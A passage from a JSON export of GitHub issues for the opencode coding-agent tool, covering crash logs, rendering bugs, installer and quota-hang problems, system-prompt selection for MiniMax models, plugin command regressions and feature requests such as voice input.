hash=27da42628669af017b9d97932cf8c662f5d47889 cwd=<project>/izkor timestamp=2026-08-03T05:23:38.608Z level=INFO run=46b9e069 message=loop session.id=ses_03a235b15ffe7x5NafNq3gRolO step=337 timestamp=2026-08-03T05:23:41.979Z level=INFO run=46b9e069 message=evaluated permission=bash pattern=\"grep -n 'Title' <redacted-external-repo>/info.go\" action.action=allow timestamp=2026-08-03T05:23:42.127Z level=INFO run=46b9e069 message=loop session.id=ses_03a235b15ffe7x5NafNq3gRolO step=338 timestamp=2026-08-03T05:23:45.147Z level=INFO run=46b9e069 message=loop session.id=ses_03a235b15ffe7x5NafNq3gRolO step=339 timestamp=2026-08-03T05:23:45.220Z level=INFO run=46b9e069 message=tracking hash=27da42628669af017b9d97932cf8c662f5d47889 cwd=<project>/izkor timestamp=2026-08-03T05:23:45.239Z level=INFO run=46b9e069 message=process session.id=ses_03a235b15ffe7x5NafNq3gRolO messageID=msg_fc613f792001zTDso3CX0q0ARc timestamp=2026-08-03T05:23:45.239Z level=INFO run=46b9e069 message=stream providerID=opencode modelID=deepseek-v4-flash-free session.id=ses_03a235b15ffe7x5NafNq3gRolO small=false agent=general mode=subagent timestamp=2026-08-03T05:23:45.243Z level=INFO run=46b9e069 message=\"llm runtime selected\" llm.runtime=ai-sdk llm.provider=opencode llm.model=deepseek-v4-flash-free --- [log ends here — crashed right after starting a new LLM stream, mid-loop, step 339, ~10s cadence] --- ``` Notable: this was a tight loop of small tool-call steps every 3–10s (edits, bash, git-snapshot tracking on every step) for the duration of an 87-minute session before dying mid-stream-start. </details> ## Request Since the embedded Bun version is fixed by the opencode release (per the crash page: \"The app developer controls which version of Bun is used\"), an update would need to come from an opencode release with a newer/patched Bun. Filing this in case it's useful to correlate against other Bun-embedded segfault reports already open against this repo, and in case the `bun.report` hash is retrievable by maintainers to get the actual native stack trace. The excerpts above are trimmed/redacted from a much larger structured log that also covers unrelated private projects on my machine. If a maintainer needs the full raw `opencode.log` (or the sqlite session DB) to dig further, I'm willing to share it under an NDA — happy to coordinate on that separately rather than posting it publicly here.",
        "url": "https://github.com/anomalyco/opencode/issues/40219",
        "createdAt": "2026-08-03T05:51:19Z",
        "updatedAt": "2026-08-13T09:42:13Z",
        "timestamp": "2026-08-13T09:42:13Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "shlomoweb1",
        "state": "open",
        "assignees": [
          "jlongster"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:40286",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "RTL/bidi broken for mixed Arabic-script + Latin text in TUI",
        "text": "**Environment:** opencode 1.18.11, Windows, reproduced identically in both Windows Terminal and the desktop app. Any line containing both Persian/Arabic (RTL) and an embedded Latin word (LTR) renders in scrambled order instead of correct right-to-left. Pure single-direction lines render fine. The TUI appears to lay text out cell-by-cell in a monospace grid without applying the Unicode bidi algorithm, so directional runs within a line are not reordered correctly. Since this reproduces identically across terminals, it is the opencode renderer, not the terminal. Example: a Persian sentence containing an embedded Latin token (e.g. a filename or config key) renders with wrong character order wherever the Latin token sits mid-Persian. There is no config option for this (checked the config schema - no rtl/bidi/direction field). Please add proper Unicode bidi handling (and ideally RTL shaping) to the TUI text renderer.",
        "url": "https://github.com/anomalyco/opencode/issues/40286",
        "createdAt": "2026-08-03T13:07:38Z",
        "updatedAt": "2026-08-13T12:49:14Z",
        "timestamp": "2026-08-13T12:49:14Z",
        "metrics": {
          "reactions": 0,
          "comments": 3
        },
        "labels": [],
        "author": "rahgozar94725",
        "state": "open",
        "assignees": [
          "kommander"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:40295",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "opencode邀请失效了",
        "text": "### Description opencode邀请失效了 <img width=\"1277\" height=\"685\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/4f511887-a5bc-4f90-8466-cd64b0392392\" /> ### Plugins opencode cli ### OpenCode version 最新的 ### Steps to reproduce 1.邀请一个好友,好友使用你的订阅购买 2.然后等一段时间，本来可以换额度的，就被充值了 ### Screenshot and/or share link opencode邀请失效了 <img width=\"1300\" height=\"699\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/62b8624c-89ef-42b8-b7c2-9aae6f889548\" /> ### Operating System windows10 ### Terminal windows terminal",
        "url": "https://github.com/anomalyco/opencode/issues/40295",
        "createdAt": "2026-08-03T14:58:12Z",
        "updatedAt": "2026-08-13T03:22:21Z",
        "timestamp": "2026-08-13T03:22:21Z",
        "metrics": {
          "reactions": 1,
          "comments": 5
        },
        "labels": [],
        "author": "bilibili2233kkxx",
        "state": "open",
        "assignees": [
          "fwang"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:40401",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Opencode Desktop fails to upgrade",
        "text": "### Description Installer fails with error message (\"OpenCode cannot be closed. Please close it manually and click Retry to continue\" -> \"Failed to uninstall old application files. Please try running the installer again\"). Even though OpenCode is not running and I have manually uninstalled OpenCode Desktop I still get the same message. ### Plugins None ### OpenCode version 1.18.11 ### Steps to reproduce Either click on \"update\" icon in the top right corner of the OpenCode Desktop window or download installer from the opencode.ai web site. ### Screenshot and/or share link _No response_ ### Operating System Windows 11 Enterprise 25H2 ### Terminal Windows Terminal",
        "url": "https://github.com/anomalyco/opencode/issues/40401",
        "createdAt": "2026-08-04T08:49:09Z",
        "updatedAt": "2026-08-13T08:54:46Z",
        "timestamp": "2026-08-13T08:54:46Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "janmoreforsk",
        "state": "open",
        "assignees": [
          "Hona"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:40468",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "stuck in busy forever after toolcall",
        "text": "### Description After several successful tool calls suddenly one toolcall ends and opencode TUI remains stuck in busy (ping pong animation ongoing). Double ESC to interrupt does nothing. The last log message is either \"level=INFO run=XXXX message=loop session.id=ses_XXXX step=N\" or something like \"level=INFO run=XXXX message=evaluated permission=bash pattern=\"....\" action.permission=* action.action=allow action.pattern=*\" No permission dialog is shown and the operation wouldn't have required one, so I guess this is not a hidden dialog issue, even though the log seems to imply this. The only way to recover from this is CTRL+C, restart opencode with the same session and issue a prompt to continue. It is possible that it occurs more frequently with bash commands that take a few seconds to complete or are piped through head or something like that, but it can also be coincidence. Additional information: Agent is running a local instance of qwen-3.6 27b served via vllm (openai compatible backend). Right now got an update to 1.18.13 and it still happens. Oldest known release with this issue: 1.18.11. ### Plugins none ### OpenCode version 1.18.12 ### Steps to reproduce 1. In an opencode session issue prompts that would result in tool-calls like bash shell commands. 2. Wait until one of the tool calls gets perpetually stuck in busy mode. ### Screenshot and/or share link _No response_ ### Operating System Debian trixie (Linux 6.12.63+deb13-amd64) ### Terminal Konsole 25.04.2 (KDE plasma) running bash",
        "url": "https://github.com/anomalyco/opencode/issues/40468",
        "createdAt": "2026-08-04T14:35:35Z",
        "updatedAt": "2026-08-13T13:06:50Z",
        "timestamp": "2026-08-13T13:06:50Z",
        "metrics": {
          "reactions": 0,
          "comments": 4
        },
        "labels": [],
        "author": "yope",
        "state": "open",
        "assignees": [
          "simonklee"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:40508",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "V2 TUI: add native Mermaid and LaTeX rendering",
        "text": "## Summary Add first-class Mermaid diagram and LaTeX math rendering to the OpenCode V2 TUI. Mermaid should be the initial priority. LaTeX support should cover both display math and inline math embedded within surrounding prose. ## Scope - Render fenced Mermaid blocks as diagrams in session content. - Render display LaTeX expressions. - Render inline LaTeX without forcing the surrounding text onto separate lines. - Define clear fallback behavior when rendering is unsupported or fails so the original source remains readable. - Preserve normal Markdown/code rendering and avoid interpreting ordinary text, such as currency values, as math. ## Architecture Prefer implementing these features as built-in/internal OpenCode plugins rather than adding them to OpenTUI core. This gives OpenCode first-class support without bloating the lower-level renderer and provides a concrete pressure test for the V2 plugin system. The current plugin API does not appear to expose TUI session-content render slots/hooks. Track and add the minimum plugin API needed for internal plugins to recognize and render custom session content, with Mermaid and LaTeX as the proving use cases. ## Acceptance criteria - Mermaid fences render visibly in the V2 TUI, with readable source fallback on failure. - Display and inline LaTeX render correctly in the V2 TUI. - Inline math composes with text before and after it on the same line where space allows. - Rendering works during streaming and after sessions are restored. - The implementation documents or demonstrates the internal plugin/content-rendering extension point. - Existing Markdown, code blocks, selection, scrolling, and copy behavior continue to work.",
        "url": "https://github.com/anomalyco/opencode/issues/40508",
        "createdAt": "2026-08-04T18:38:42Z",
        "updatedAt": "2026-08-13T13:13:45Z",
        "timestamp": "2026-08-13T13:13:45Z",
        "metrics": {
          "reactions": 5,
          "comments": 2
        },
        "labels": [
          "2.0"
        ],
        "author": "opencode-agent[bot]",
        "state": "open",
        "assignees": [
          "rekram1-node"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:40589",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[FEATURE]: Support GITHUB_TOKEN in install script (API rate limit + private repos)",
        "text": "### Feature hasn't been suggested before. - [x] I have verified this feature I'm about to request hasn't been suggested before. ### Describe the enhancement you want to request The `install` script makes three anonymous GitHub requests: 1. Version detection: `curl -s https://api.github.com/repos/anomalyco/opencode/releases/latest` 2. Release existence check: `curl -sI .../releases/tag/v<ver>` 3. Release asset download: `curl -L .../releases/download/...` Anonymous calls to `api.github.com` are rate-limited to 60/hour per IP. On shared CI runners this limit is often exhausted, so the version fetch fails and the install aborts (same root cause as #35120 for `github/action.yml`). Anonymous requests also make it impossible to install opencode from a private fork or mirror. Proposal: if `$GITHUB_TOKEN` is set, send an `Authorization: Bearer $GITHUB_TOKEN` header on all three curl calls. Behavior is unchanged when the variable is empty.",
        "url": "https://github.com/anomalyco/opencode/issues/40589",
        "createdAt": "2026-08-05T05:36:31Z",
        "updatedAt": "2026-08-13T17:06:08Z",
        "timestamp": "2026-08-13T17:06:08Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "rwenz2004",
        "state": "open",
        "assignees": [
          "rekram1-node"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:40605",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "在使用较宽字符作为技能名时，技能描述不对齐",
        "text": "### Description <img width=\"1049\" height=\"267\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/24c18f8a-696d-4f69-84db-849ec8e45149\" /> ### Plugins _No response_ ### OpenCode version 1.18.13 ### Steps to reproduce 安装带有较宽字符(例如中文字符)标题的技能 打开opencodetui 输入/skills ### Screenshot and/or share link <img width=\"1049\" height=\"267\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/3b66855d-cac9-4f82-b3ee-bf402d45013c\" /> ### Operating System windows ### Terminal Windows Terminal",
        "url": "https://github.com/anomalyco/opencode/issues/40605",
        "createdAt": "2026-08-05T08:22:19Z",
        "updatedAt": "2026-08-13T05:58:28Z",
        "timestamp": "2026-08-13T05:58:28Z",
        "metrics": {
          "reactions": 0,
          "comments": 0
        },
        "labels": [],
        "author": "liujianbo2013",
        "state": "open",
        "assignees": [
          "kommander"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:40747",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "opencode run hangs indefinitely when the usage quota is exhausted, instead of reporting the error it already has",
        "text": "### Summary When a model's usage quota is exhausted, `opencode run` **never exits and never reports the reason**. The process hangs indefinitely with no output on stdout and nothing but a banner on stderr — even though the error is known internally within ~170 ms and written to opencode's own log file. Any non-interactive use (scripts, CI, an app shelling out to the CLI) therefore hangs until an external timeout kills it, and the caller has no way to tell an exhausted quota from a slow model. The interactive TUI handles this case properly, so this looks specific to the non-interactive `run` path. ### Version `opencode 1.17.11`, Linux x86_64. ### Reproduction With a subscription whose quota is exhausted: ```console $ timeout 90 opencode run --model opencode-go/<any-model> \"say hi\" rc=124 # killed by `timeout`, not by opencode stdout: 0 bytes stderr: 34 bytes # only: ESC[0m \"> build · <model>\" ESC[0m ``` Same result with `--format json` (stdout and stderr both **0 bytes**), and at 120 s and 300 s ceilings. The process never terminates on its own. ### It knows almost immediately `--print-logs --log-level DEBUG` on the same run: ``` 11:42:33.920 INFO run=… message=stream providerID=opencode-go modelID=<model> … 11:42:34.091 ERROR run=… message=\"stream error\" … error.error=\"AI_APICallError: Monthly usage limit reached. Resets in N days. …\" 11:42:36.448 ERROR run=… message=\"stream error\" … small=true agent=title … error.error=\"AI_RetryError: Failed after 3 attempts. Last error: Monthly usage limit reached. …\" ``` 171 ms from stream start to a fully-formed error. It reaches the log file and then goes nowhere else, and the process continues to hang. (The second line is the title-generation agent hitting the same wall after its own retries — possibly relevant to why the run never unwinds.) ### Expected `opencode run` should exit non-zero and print the provider's error. With `--format json`, emitting the existing error envelope on stdout would be enough: ```json {\"type\":\"error\",\"error\":{\"type\":\"GoUsageLimitError\",\"message\":\"Monthly usage limit reached. …\"}} ``` That is the shape errors already take on that stream, so a caller could parse it with no new contract. ### Actual Exit code: none — the process must be killed externally. stdout: empty. stderr: a decorative banner only. ### Why it matters A CLI that hangs forever is worse than one that fails: a wrapper cannot distinguish \"out of quota\" from \"model is slow\" and has to wait out its full timeout budget before giving up, on every subsequent call too. Exiting non-zero with the message that is already in hand would make this a two-line failure instead. --- Identifiers (workspace, session, run ids) redacted from the log excerpts above.",
        "url": "https://github.com/anomalyco/opencode/issues/40747",
        "createdAt": "2026-08-05T21:52:25Z",
        "updatedAt": "2026-08-13T10:12:35Z",
        "timestamp": "2026-08-13T10:12:35Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "Balloota",
        "state": "open",
        "assignees": [
          "rekram1-node"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:41031",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "MiniMax models fall through to the Claude-oriented default prompt",
        "text": "### Description `SystemPrompt.provider()` in `packages/opencode/src/session/system.ts` picks a system prompt by substring-matching the model id. There is a branch for Kimi (`kimi.txt`, the open-weight agentic prompt) but none for MiniMax, so every MiniMax model falls through to `PROMPT_DEFAULT` (`default.txt`), which is written for Claude. `default.txt` assumes a model that already acts without being told to. `kimi.txt` — which despite the filename has no Kimi/Moonshot-specific text — instead spells out the things open-weight agentic models tend to get wrong: that tools must be *used* rather than described (\"Code that only appears in your text response is NOT saved\"), that `<system-reminder>` tags are authoritative (e.g. plan-mode read-only restrictions), that parallel tool calls are encouraged, and that replies must match the user's language. Running MiniMax on `default.txt` is a poor fit for those reasons. Note `transform.ts` already treats `minimax` as part of the open-weight family (grouped with `kimi`, `deepseek`, `qwen`, `glm` around line 778), so prompt selection is out of step with a grouping the codebase already makes elsewhere. ### Steps to reproduce 1. Run a MiniMax model (e.g. `MiniMax/MiniMax-M3`). 2. Add a log/inspect `SystemPrompt.provider(model)[0]` — it returns `default.txt`, not `kimi.txt`. Concretely, MiniMax on `default.txt` is more prone to describing an edit in prose instead of calling the edit tool, and to ignoring plan-mode `<system-reminder>` restrictions. ### opencode version dev (reproduces at current `dev` tip; `provider()` has no minimax branch).",
        "url": "https://github.com/anomalyco/opencode/issues/41031",
        "createdAt": "2026-08-07T09:40:46Z",
        "updatedAt": "2026-08-12T21:58:10Z",
        "timestamp": "2026-08-12T21:58:10Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "quickbeard",
        "state": "closed",
        "assignees": [
          "nexxeln"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:41268",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "/compact 命令上下文丢失问题",
        "text": "### Description 在更新到 1.18.15 版本后，使用 deepseek v4 flash 官方 api 时出现了：通过 /compact 命令压缩上下文时只会输出 [Assistant tool call]: 一段shell命令 shell命令输出 类似这种结构，或者干脆就是只有一句“让我继续分析”完全没有对上下文的总结，导致第二轮对话AI忘记全部的上下文，需要重新阅读项目、重新了解现状。 目前使用过近5次compact全部是这种情况，猜测已经损坏而不是概率触发。 ### Plugins no ### OpenCode version 1.18.15 ### Steps to reproduce 1、接入deepseek官方api，思考模式改为high 2、进行多轮的问答 3、通过/compact命令压缩上下文 ### Screenshot and/or share link <img width=\"1273\" height=\"833\" alt=\"Image\" src=\"https://github.com/user-attachments/assets/bc4d2c8a-1849-4341-ab61-4bc97d3df520\" /> ### Operating System Windows 11 ### Terminal 使用的是desktop版，并没有使用terminal版本。AI执行的全是PowerShell命令",
        "url": "https://github.com/anomalyco/opencode/issues/41268",
        "createdAt": "2026-08-08T12:27:53Z",
        "updatedAt": "2026-08-12T19:36:53Z",
        "timestamp": "2026-08-12T19:36:53Z",
        "metrics": {
          "reactions": 2,
          "comments": 2
        },
        "labels": [],
        "author": "ZiTanIOI",
        "state": "closed",
        "assignees": [
          "jlongster"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:41339",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Plugin slash commands pass through as raw text in OpenCode Desktop v1.18.15 (regression)",
        "text": "# Issue draft: Plugin slash commands pass through as raw text in OpenCode Desktop v1.18.15 (regression) **Repo**: github.com/anomalyco/opencode **Type**: Bug / Regression **Component**: Desktop app command handling (plugin `command` hooks) ## Summary In **OpenCode Desktop v1.18.15**, plugin-registered slash commands (e.g. `/magic-compact 5`, `/magic-stats` from the `magic-compact` plugin, v1.2.2) are **not intercepted** — they pass through to the model as raw user text. The same plugin works correctly in the CLI (verified end-to-end: command fires, backup session created, summaries injected, stats written). This is a **regression**: the same symptom was previously reported and fixed in July for an older desktop build (issue #1 — \"Command not available in OpenCode Desktop\"), but v1.18.15 has it again. ## Environment - OS: Windows 11 - OpenCode Desktop v1.18.15 - Plugin: `magic-compact` v1.2.2 (npm, loaded via `plugin` array in opencode.jsonc) - Same config in CLI: works ## Steps to reproduce 1. Install `magic-compact` in `opencode.jsonc` plugin array 2. Open OpenCode Desktop v1.18.15 3. Type `/magic-compact 5` and send 4. Observe: the model receives the literal text `/magic-compact 5` and responds conversationally ## Expected The plugin's command hook fires (as it does in the CLI: `opencode run -s <session> --command magic-compact 5`), performing compaction and injecting a summary. ## Actual Text passes through unhandled. No plugin execution. Verified same behavior for `/magic-stats`. ## Impact All command-based plugins are affected in the desktop app — not just magic-compact (same class as previous issue #1). ## Workaround (for users) Use the CLI for command plugins: `opencode run -s <session-id> --command magic-compact 5` ## Suggested fix Re-audit the desktop app's command parsing path (regression of the July fix). Likely the desktop input handler sends command-looking input to the model session directly instead of routing through the plugin `command` hook, or the plugin command registry isn't hydrated before the first message in the desktop shell.",
        "url": "https://github.com/anomalyco/opencode/issues/41339",
        "createdAt": "2026-08-08T23:40:11Z",
        "updatedAt": "2026-08-12T16:09:25Z",
        "timestamp": "2026-08-12T16:09:25Z",
        "metrics": {
          "reactions": 2,
          "comments": 4
        },
        "labels": [],
        "author": "Khister1",
        "state": "closed",
        "assignees": [
          "Hona"
        ],
        "change": "updated"
      },
      {
        "id": "github:anomalyco/opencode:issue:41364",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "[FEATURE] Desktop: voice input for prompts (mic → text) and optional voice summary output",
        "text": "## Feature request Desktop app has no way to control OpenCode by voice / from mobile. On Windows desktop, users would like: 1. **Voice input for the prompt box** (Windows Speech Recognition or Whisper-style): press a hotkey, speak, and the prompt is transcribed into the input — far faster for long commands than typing Chinese/English on a keyboard. 2. Optionally, when the desktop app is minimized, a quick voice command (e.g. hold hotkey) starts listening and sends the prompt. ## Why - OpenClaw/Hermes support voice notes as first-class input for the agent (via WhatsApp voice). - For Chinese users typing long prompts is slow; voice-to-text in the desktop input box is a low-effort high-value UX feature. - The web UI could reuse the same API (MediaRecorder → server-side whisper or browser Web Speech API). ## Scope suggestion - MVP: in Desktop app input box, \"🎤\" button → Windows native speech recognition (or browser Web Speech API in web UI) → insert text into prompt. - Later: voice *output* summary (TTS) after long tasks (like \"任务完成,要点:…\") — configurable via a plugin hook so no model cost.",
        "url": "https://github.com/anomalyco/opencode/issues/41364",
        "createdAt": "2026-08-09T03:58:16Z",
        "updatedAt": "2026-08-13T02:12:08Z",
        "timestamp": "2026-08-13T02:12:08Z",
        "metrics": {
          "reactions": 0,
          "comments": 2
        },
        "labels": [],
        "author": "liudongyan13701205717-source",
        "state": "closed",
        "assignees": [
          "Hona"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:41470",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "“Copied to clipboard” doesn't work",
        "text": "### Description When using OpenCode inside VSCode Server (Docker environment), copying text from an OpenCode session shows the message Copied to clipboard, but the text is not actually copied to the system clipboard and cannot be pasted elsewhere. ### Plugins None ### OpenCode version 1.18.14 ### Steps to reproduce 1. Start VSCode Server inside a Docker container. 2. Run OpenCode 1.18.14 in VSCode Server. 3. Select some text in an OpenCode session and copy it. 4. OpenCode displays: [Copied to clipboard] 5. Try to paste the copied text into another application, terminal, or editor. Expected Behavior: After copying, the selected text should be available in the system clipboard and should be possible to paste into other applications or terminals. Actual Behavior: Although OpenCode displays: [Copied to clipboard], the text is not actually copied to the clipboard, and nothing can be pasted elsewhere. ### Screenshot and/or share link _No response_ ### Operating System Linux version 5.15.0-164-generic (buildd@lcy02-amd64-114) (gcc (Ubuntu 11.4.0-1ubuntu1~22.04.2) 11.4.0, GNU ld (GNU Binutils for Ubuntu) 2.38) #174-Ubuntu SMP Fri Nov 14 20:25:16 UTC 2025 ### Terminal bash",
        "url": "https://github.com/anomalyco/opencode/issues/41470",
        "createdAt": "2026-08-10T02:48:58Z",
        "updatedAt": "2026-08-13T09:41:16Z",
        "timestamp": "2026-08-13T09:41:16Z",
        "metrics": {
          "reactions": 1,
          "comments": 14
        },
        "labels": [],
        "author": "WqxLoveCoding",
        "state": "open",
        "assignees": [
          "simonklee"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:41483",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "TUI crashes at startup (Bun SIGILL in drainMicrotasks, libopentui) when the terminal answers the capability handshake only partially",
        "text": "## Summary The TUI crashes deterministically at startup (Bun panic, `SIGILL`, inside `JSC::VM::drainMicrotasks`) when the terminal on the other end answers opencode's startup capability handshake **only partially**. Reproduces 100% over the [Moshi](https://getmoshi.app/) phone client. The same binary on the same machine starts fine in a local terminal, and — importantly — also starts fine over **plain mosh with a locally attached `mosh-client`**. So this is not \"mosh\" in general; it is terminal emulations that reply to some capability queries but not others. Characterized over ~40 controlled runs. ## Environment - opencode **1.18.15** (also seen on 1.17.x) - Bun **1.3.14** (bundled), `Linux x86_64_baseline [StandaloneExecutable]` - Arch Linux, kernel 6.18.42-1-lts, glibc 2.42 - Client: Moshi phone app (crash persists after updating both the phone app and `moshi-hook` to 0.2.77) ## Bun crash report https://bun.report/1.3.14/Ba10d9b296m/Gz+339/D4664tE+uzP__suwxrCsuwxrCsuwxrCsuwxrCsuwxrCsuwxrCsuwxrCmsvprCi4wtpFusjtpF8s1muF4r338D__msvprCwpthhFA2k1/B4//o02C Decoded: segfault at `0x7F5256A23FFC`, recursive `llint_op_call_ignore_result` → `JSC::MicrotaskQueue::drainImpl` → `JSC::VM::drainMicrotasks` → `Bun::jsFunctionDrainMicrotaskQueue` (`BunProcess.cpp:3806`). ## Coredump `SIGILL`, command line `opencode .`: ``` #0 0x0000000002607064 (opencode + 0x2407064) #1 0x0000000002605266 (opencode + 0x2405266) #2 0x00000000034dd8bf (opencode + 0x32dd8bf) #3 0x00000000046e35ad (opencode + 0x44e35ad) #4 0x00007f4e5f83e6f0 (libc.so.6 + 0x3e6f0) #5 0x00007f4e09c2061d (/tmp/.9adb59f9f3fcffdf-00000000.so + 0x1d061d) <-- libopentui #6 0x000004305a263a93 #7 0x00007f4e12a0c038 #8 0x00000000025c60e7 (opencode + 0x23c60e7) <-- repeats x7, recursion ... ``` Frame #5 is the extracted `libopentui.so` (see #20043 for the `/tmp` extraction). **The offset `libopentui.so + 0x1d061d` is identical across every crash.** ## Reproduction matrix | Terminal on the other end | Answers the handshake | Result | |---|---|---| | `script`, no terminal behind it | nothing | OK | | real xterm | everything | OK (4/4) | | plain `mosh-server` + local `mosh-client`, sized pty | — | **OK** (2/2, verified today) | | `mosh-server` with no client attached | nothing | OK | | herdr | everything except OSC 10/11 | CRASH | | Moshi phone client | partial | **CRASH (5/5)** | Nothing answered → clean fallback. Everything answered → works. An **incomplete** set → crash. ## The handshake Captured with a shim on the pty, opencode sends: ``` \\x1b[?2031h \\x1b]10;? \\x1b]11;? \\x1b[>0q \\x1b[6n \\x1bP+q4d73 \\x1b[?1016$p \\x1b[?2027$p ``` A real xterm replies with `]10;rgb:...` and `]11;rgb:...`. Moshi and herdr do not. ## Two attempted fixes that did NOT work A pty shim that intercepts the queries and answers them on the terminal's behalf: 1. Answering only OSC 10/11 → still crashed (5/5) 2. Answering all 7 captured queries and stripping them from the stream → still crashed (4/4) So \"missing replies\" describes the symptom but is not the whole cause. Something about the *partial* interleaving appears to matter. ## Ruled out (all still 100% crash) TUI plugins, directory plugins, all plugins disabled, MCP servers, empty config, terminal width (tested 37 and 200 columns), and 13 combinations of OpenTUI env vars: `OPENTUI_NOTIFICATIONS`, `OPENTUI_NOTIFICATION_PROTOCOL`, `OPENTUI_IMAGE_PROTOCOL`, `OPENTUI_GRAPHICS`, `OPENTUI_FORCE_EXPLICIT_WIDTH`, `OPENTUI_FORCE_WCWIDTH`, `OPENTUI_FORCE_NOZWJ`, `OTUI_NO_NATIVE_RENDER`, `OTUI_USE_ALTERNATE_SCREEN`, `OTUI_PALETTE_IDLE_TIMEOUT_MS`, `TERM=dumb`, `TERM=vt100`, and faking `TMUX`/`ZELLIJ`. A terminal multiplexer in the middle is **not** required: it crashes over the phone client with nothing in between. ## Note on measuring Count crashes with `coredumpctl list | wc -l`, not by reading the panel — the previous crash banner stays in the scrollback and produces false positives. Also start a fresh pane per attempt: a pane with a live opencode swallows the next command as keystrokes. ## Related - #35384 — same shape on ARM64: crashes when started from a phone SSH client (Termius), fine locally. Currently has no reproduction details; this report may be the same root cause. - #33890 — Bun 1.3.14 `SIGILL` on Linux x86_64, but a different trigger (crashes after running a while, not at startup). - #20043 — `libopentui.so` extraction into `/tmp`, which is the module in frame #5. ## Expected A terminal that answers the capability handshake incompletely should fall back the same way a terminal that answers nothing does, instead of taking down the process.",
        "url": "https://github.com/anomalyco/opencode/issues/41483",
        "createdAt": "2026-08-10T05:09:44Z",
        "updatedAt": "2026-08-12T17:46:13Z",
        "timestamp": "2026-08-12T17:46:13Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "IamKaleb21",
        "state": "open",
        "assignees": [
          "simonklee"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:41562",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "opencode -c resumes a session from a different working directory (across root-level git worktrees of the same repo)",
        "text": "### Description Running `opencode -c` from one directory resumed a session that was created in a different working directory of the same repository. In my case the directories are root-level git worktrees of the same repo: ``` ~/code/biggerpockets [branch A] ~/code/boggerpockets [branch B] ~/code/buggerpockets [branch C] ``` Starting `opencode -c` inside `biggerpockets` resumed the most recently updated session from a sibling worktree instead of the latest session in the launch directory. The mismatch was not obvious until I noticed the model was operating in the wrong checkout. This is the runtime `-c` (continue) behavior that open issue #38529 explicitly scopes out: \"This issue only covers discovery; changing runtime cwd when resuming a session is separate.\" The prior issues covering this exact `-c` behavior were all closed as not planned: - #26099 — hierarchical session filter has no exact-match mode; `-c` from a parent dir picks the wrong child session - #25963 — `--continue` resumes latest session across root-level git worktrees instead of current worktree - #18890 — sessions from different non-git directories are mixed when using `--continue` - #28972 ### Root cause Sessions are scoped by project-relative path (introduced in #24849). For root-level git worktrees of the same repository, the relative path resolves to `\"\"` for every worktree, so every checkout matches the same continuation scope and `-c` picks the globally most recent session. ### Expected `opencode -c` should resume the latest session whose stored directory exactly matches the launch directory (current worktree), not the most recent session across the whole project. ### Actual `opencode -c` can resume the most recently updated session from a different worktree of the same repo. ### Environment - OpenCode version: 1.18.16 - Operating System: macOS - Terminal: zsh - Plugins: None",
        "url": "https://github.com/anomalyco/opencode/issues/41562",
        "createdAt": "2026-08-10T14:58:40Z",
        "updatedAt": "2026-08-13T03:08:10Z",
        "timestamp": "2026-08-13T03:08:10Z",
        "metrics": {
          "reactions": 0,
          "comments": 1
        },
        "labels": [],
        "author": "bockets",
        "state": "open",
        "assignees": [
          "nexxeln"
        ]
      },
      {
        "id": "github:anomalyco/opencode:issue:41582",
        "source": "github",
        "group": "coding-agent-infrastructure",
        "project": "anomalyco/opencode",
        "kind": "issue",
        "title": "Truncated model response for OpenCode Go models",
